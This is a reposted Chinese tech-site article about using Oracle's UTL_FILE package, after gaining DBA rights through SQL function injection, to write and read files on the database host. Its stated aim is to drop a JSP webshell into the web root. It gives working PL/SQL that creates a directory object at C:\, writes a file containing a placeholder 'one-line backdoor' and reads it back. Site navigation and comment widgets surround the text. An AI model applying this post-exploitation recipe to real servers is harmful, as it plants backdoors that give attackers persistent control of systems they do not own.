首页 电脑 电脑学堂 查看内容

Oracle本地读写文件

2009-9-10 11:29 1614 0

摘要: 一般我们通过函数注射以后 获得ORA的DBA权限 那么我们就得对本地文件进行操作!要是WEB跟ORA是同一个机器~那就更方便于我们拿更多的权限了~或者对本地写webshell 下面是采用ORA 自带的...
关键词: file 文件 isto utl buffer 目录 DIR IST 021320 指针

一般我们通过函数注射以后 获得ORA的DBA权限 那么我们就得对本地文件进行操作!要是WEB跟ORA是同一个机器~那就更方便于我们拿更多的权限了~或者对本地写webshell 下面是采用ORA 自带的文件访问包 操作本地文件! 前提是你必须要知道WEBSITE的物理地址 以下是一个简单例子 --首先我们得先建立一个 ORACLE的目录对象 指向 C:\ create or replace directory IST0_DIR as 'C:\'; --然后我们对这个目录对象进行授权 其实这步可以忽略 grant read, write on directory IST0_DIR to 用户; --以上前奏完成了! 我们可以写PLSQL 进行操作文件了 declare isto_file utl_file.file_type; --定义变量的类型为utl_file.file_type begin isto_file := utl_file.fopen('IST0_DIR', 'kj021320.jsp', 'W'); --指定为IST0_DIR 目录下面的kj021320.jsp文件写操作 utl_file.put_line(isto_file, '一句话后门'); --写入字符串 utl_file.fflush(isto_file); --刷缓冲 utl_file.fclose(isto_file); --关闭文件指针 end; --下面我们可以使用读操作把写入的文件内容读出来 declare isto_file utl_file.file_type; --如上 fp_buffer varchar2(4000); --没必要说了吧? begin isto_file := utl_file.fopen('IST0_DIR', 'kj021320.jsp', 'R'); -- 指定为读操作 utl_file.get_line (isto_file , fp_buffer ); --读取一行放到 fp_buffer 变量里面 dbms_output.put_line(fp_buffer);--在终端输出结果看看 utl_file.fclose(isto_file); --关闭文件指针 end; PS 从啊杰博客转的 不想给他打广告
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部